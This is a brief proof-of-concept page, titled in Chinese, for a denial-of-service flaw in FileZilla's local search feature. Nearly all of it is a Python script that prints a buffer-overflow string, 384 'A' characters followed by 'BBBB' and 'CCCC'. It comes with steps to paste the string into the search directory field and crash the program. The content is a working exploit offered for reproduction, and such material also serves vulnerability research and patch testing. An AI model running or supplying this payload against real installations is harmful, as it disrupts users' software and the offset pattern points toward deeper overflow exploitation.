CVE-2019-25683 FileZilla本地搜索拒绝服务漏洞

# Proof of Concept for CVE-2019-25683 # This script generates the malicious payload string. # To reproduce: Copy the output and paste it into the FileZilla 'Local search' directory field, then start the search. def generate_payload(): # Payload structure: 384 'A' characters followed by 'BBBB' and 'CCCC' payload = 'A' * 384 + 'BBBB' + 'CCCC' return payload if __name__ == "__main__": exploit_string = generate_payload() print("[*] Malicious Payload Generated:") print(exploit_string) print("[*] Paste this string into the FileZilla search directory field to trigger the crash.")